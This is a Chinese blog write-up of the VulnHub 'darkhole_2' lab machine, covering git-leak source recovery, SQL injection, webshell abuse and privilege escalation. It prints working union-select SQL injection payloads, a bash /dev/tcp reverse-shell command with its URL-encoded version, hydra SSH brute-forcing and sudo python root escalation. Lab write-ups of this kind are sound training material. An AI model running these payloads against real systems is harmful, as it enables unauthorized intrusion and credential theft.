打靶记录25——darkhole_2

靶机:

https://vulnhub.com/entry/darkhole-2,740/

下载(镜像)https://download.vulnhub.com/darkhole/darkhole_2.zip

难度:

目标:

  • 获得 Root 权限 + 2 Flag

攻击方法:

  • 主机发现
  • 端口扫描
  • Git 库泄露
  • 源码分析
  • SQL 注入
  • 本地端口转发
  • 密码爆破
  • 水平提权1、2
  • Root提权1、2

主机发现

sudo arp-scan -l

端口扫描和服务发现

sudo nmap -p- 192.168.221.172

发现开放了 80 和 22 端口

sudo nmap -p22,80 -sV -sC 192.168.221.172

Git 库泄露

看到一个 .git 路径,里面可能有源码

它的描述说,他改了 login.php 为了更安全,说明之前不安全

那先访问 80 端口的 Web 页面,访问这个 login.php,使用万能密码等方式尝试登录失败

那访问刚刚发现的 .git 路径,看到了文件目录的列表

wget -r http://192.168.221.172/.git/ 把整个 git 库保存下来

wget 命令中,-r 是一个选项,代表 “recursive”,即递归

git log 查看备注

用 githack (https://gitcode.com/gh_mirrors/git/GitHack)来下下来源码

python2 GitHack.py http://192.168.31.34/.git/

查看之前的记录

源码分析

再次查看 login.php ,就会在这个版本的 login.php 里面发现账号密码 lush@admin.com 321

SQL 注入

http://192.168.221.185/dashboard.php?id=1'+and+1=1--+ 基本可以确定这里存在 SQL 注入

http://192.168.221.185/dashboard.php?id=2%27+union+select+1,database(),3,4,5,6--+ 发现数据库名 darkhole_2

?id=2%27+union+select+1,table_name,3,4,5,6 from information_schema.tables where table_name='ssh'--+

获得表名 ssh

?id=2%27+union+select+1,GROUP_CONCAT(column_name),3,4,5,6 from information_schema.columns where table_name='ssh'--+

爆列名,发现列名是 id,user,pass

2'+union+select+1,id,user,4,pass,6+from+ssh--+

爆字段,获得账号密码jehad fool

根据表名猜测这是SSH登录的账号密码,成功登录

首先查看本地机器都有哪些用户账号

cat /etc/passwd

本地端口转发

cat .bash_history 去到 jehad 账号的主目录查看命令历史,看看有没有机密信息

发现这明显是有另外一个人已经在渗透了,主要在 9999 端口上

ss -pantu | grep 9999
  • 这个命令用于在 Linux 系统中查找与端口 9999 相关的网络连接信息。
  • ss iproute2 软件包中的一个命令行工具,用于获取套接字(socket)相关的信息,它可以替代较旧的 netstat 命令,并且通常具有更好的性能和更多功能。
  • ss -pantu 选项含义如下:
    • -p:显示使用该套接字的进程信息。
    • -a:显示所有套接字,包括监听和非监听状态的。
    • -n:以数字形式显示地址和端口号,而不是解析为域名和服务名,这样可以加快查询速度。
    • -u:显示 UDP 套接字。
    • -t:显示 TCP 套接字。

发现 Webshell 木马文件

根据上面的提示

curl http://127.0.0.1:9999/?cmd=id

发现确实执行了命令,而且是以 losy 的身份来执行的

反弹 shell

bash -c 'bash -i >& /dev/tcp/192.168.31.137/4242 0>&1'

因为是浏览器的形式提交的,所以先进行一下 URL 编码

bash%20%2Dc%20%27bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F192%2E168%2E31%2E137%2F4242%200%3E%261%27

去 losy 的目录下看一下 .bash_history 历史记录

发现似乎在进行提权操作,还有疑似账号密码的 losy:gang

python3 -c 'import pty;pty.spawn("/bin/bash")'

用 python 升级、形成一个 shell

sudo -l 发现密码确实是 gang,而且可以以 root 的身份来运行 python

sudo python3 -c 'import pty;pty.spawn("/bin/bash")'

成功提权!

另外一种方法

先 SSH 爆破 lama 账号,获得密码 123

hydra -l lama -P /mnt/d/Downlaods_1/MidPwds.txt ssh://192.168.31.37
  • hydra:这是一个强大的开源密码破解工具,支持多种协议的暴力破解,如 SSH、FTP、HTTP 等。

cat .bash_history 发现它直接 sudo su

sudo -l 发现 lama 账号的权限更大

技术补充

本地端口转发

ssh -L 9999:localhost:9999 jehad@192.168.31.37

把目标靶机本地侦听的 9999 端口映射到我 kali 的 9999 端口上

然后我访问我 kali 本机 9999 端口的所有请求都会被转发到目标机器的 9999 端口上,然后利用上面的那个 cmd 参数,来执行操作系统命令。

posted @ 2025-01-23 10:05  Fab1an  阅读(41)  评论(0)    收藏  举报